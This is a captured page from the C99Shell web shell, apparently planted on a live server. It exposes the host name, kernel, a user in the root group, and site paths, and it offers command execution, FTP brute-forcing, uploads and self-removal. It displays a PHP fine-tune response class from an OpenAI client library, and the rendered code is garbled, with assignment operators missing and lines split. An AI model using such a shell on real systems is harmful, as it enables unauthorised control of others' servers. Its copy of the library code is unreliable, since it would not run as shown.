!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/ai.picotech.app/public_html/vendor/openai-php/client/src/Responses/FineTunes/   drwxrwxr-x
Free 28.92 GB of 117.98 GB (24.51%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     RetrieveResponse.php (6.5 KB)      -rw-rw-r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

declare(strict_types=1);

namespace 
OpenAI\Responses\FineTunes;

use 
OpenAI\Contracts\Response;
use 
OpenAI\Responses\Concerns\ArrayAccessible;

/**
 * @implements Response<array{id: string, object: string, model: string, created_at: int, events: array<int, array{object: string, created_at: int, level: string, message: string}>, fine_tuned_model: ?string, hyperparams: array{batch_size: ?int, learning_rate_multiplier: ?float, n_epochs: int, prompt_loss_weight: float}, organization_id: string, result_files: array<int, array{id: string, object: string, created_at: int, bytes: int, filename: string, purpose: string, status: string, status_details: array<array-key, mixed>|string|null}>, status: string, validation_files: array<int, array{id: string, object: string, created_at: int, bytes: int, filename: string, purpose: string, status: string, status_details: array<array-key, mixed>|string|null}>, training_files: array<int, array{id: string, object: string, created_at: int, bytes: int, filename: string, purpose: string, status: string, status_details: array<array-key, mixed>|string|null}>, updated_at: int}>
 */
final class RetrieveResponse implements Response
{
    
/**
     * @use ArrayAccessible<array{id: string, object: string, model: string, created_at: int, events: array<int, array{object: string, created_at: int, level: string, message: string}>, fine_tuned_model: ?string, hyperparams: array{batch_size: ?int, learning_rate_multiplier: ?float, n_epochs: int, prompt_loss_weight: float}, organization_id: string, result_files: array<int, array{id: string, object: string, created_at: int, bytes: int, filename: string, purpose: string, status: string, status_details: array<array-key, mixed>|string|null}>, status: string, validation_files: array<int, array{id: string, object: string, created_at: int, bytes: int, filename: string, purpose: string, status: string, status_details: array<array-key, mixed>|string|null}>, training_files: array<int, array{id: string, object: string, created_at: int, bytes: int, filename: string, purpose: string, status: string, status_details: array<array-key, mixed>|string|null}>, updated_at: int}>
     */
    
use ArrayAccessible;

    
/**
     * @param  array<int, RetrieveResponseEvent>  $events
     * @param  array<int, RetrieveResponseFile>  $resultFiles
     * @param  array<int, RetrieveResponseFile>  $validationFiles
     * @param  array<int, RetrieveResponseFile>  $trainingFiles
     */
    
private function __construct(
        public readonly 
string $id,
        public readonly 
string $object,
        public readonly 
string $model,
        public readonly 
int $createdAt,
        public readonly array 
$events,
        public readonly ?
string $fineTunedModel,
        public readonly 
RetrieveResponseHyperparams $hyperparams,
        public readonly 
string $organizationId,
        public readonly array 
$resultFiles,
        public readonly 
string $status,
        public readonly array 
$validationFiles,
        public readonly array 
$trainingFiles,
        public readonly 
int $updatedAt,
    ) {
    }

    
/**
     * Acts as static factory, and returns a new Response instance.
     *
     * @param  array{id: string, object: string, model: string, created_at: int, events?: array<int, array{object: string, created_at: int, level: string, message: string}>, fine_tuned_model: ?string, hyperparams: array{batch_size: ?int, learning_rate_multiplier: ?float, n_epochs: int, prompt_loss_weight: float}, organization_id: string, result_files: array<int, array{id: string, object: string, created_at: int, bytes: int, filename: string, purpose: string, status: string, status_details: array<array-key, mixed>|string|null}>, status: string, validation_files: array<int, array{id: string, object: string, created_at: int, bytes: int, filename: string, purpose: string, status: string, status_details: array<array-key, mixed>|string|null}>, training_files: array<int, array{id: string, object: string, created_at: int, bytes: int, filename: string, purpose: string, status: string, status_details: array<array-key, mixed>|string|null}>, updated_at: int}  $attributes
     */
    
public static function from(array $attributes): self
    
{
        
$events array_map(fn (array $result): RetrieveResponseEvent => RetrieveResponseEvent::from(
            
$result
        
), $attributes['events'] ?? []);

        
$resultFiles array_map(fn (array $result): RetrieveResponseFile => RetrieveResponseFile::from(
            
$result
        
), $attributes['result_files']);

        
$validationFiles array_map(fn (array $result): RetrieveResponseFile => RetrieveResponseFile::from(
            
$result
        
), $attributes['validation_files']);

        
$trainingFiles array_map(fn (array $result): RetrieveResponseFile => RetrieveResponseFile::from(
            
$result
        
), $attributes['training_files']);

        return new 
self(
            
$attributes['id'],
            
$attributes['object'],
            
$attributes['model'],
            
$attributes['created_at'],
            
$events,
            
$attributes['fine_tuned_model'],
            
RetrieveResponseHyperparams::from($attributes['hyperparams']),
            
$attributes['organization_id'],
            
$resultFiles,
            
$attributes['status'],
            
$validationFiles,
            
$trainingFiles,
            
$attributes['updated_at'],
        );
    }

    
/**
     * {@inheritDoc}
     */
    
public function toArray(): array
    {
        return [
            
'id' => $this->id,
            
'object' => $this->object,
            
'model' => $this->model,
            
'created_at' => $this->createdAt,
            
'events' => array_map(
                static fn (
RetrieveResponseEvent $result): array => $result->toArray(),
                
$this->events
            
),
            
'fine_tuned_model' => $this->fineTunedModel,
            
'hyperparams' => $this->hyperparams->toArray(),
            
'organization_id' => $this->organizationId,
            
'result_files' => array_map(
                static fn (
RetrieveResponseFile $result): array => $result->toArray(),
                
$this->resultFiles
            
),
            
'status' => $this->status,
            
'validation_files' => array_map(
                static fn (
RetrieveResponseFile $result): array => $result->toArray(),
                
$this->validationFiles
            
),
            
'training_files' => array_map(
                static fn (
RetrieveResponseFile $result): array => $result->toArray(),
                
$this->trainingFiles
            
),
            
'updated_at' => $this->updatedAt,
        ];
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0043 ]--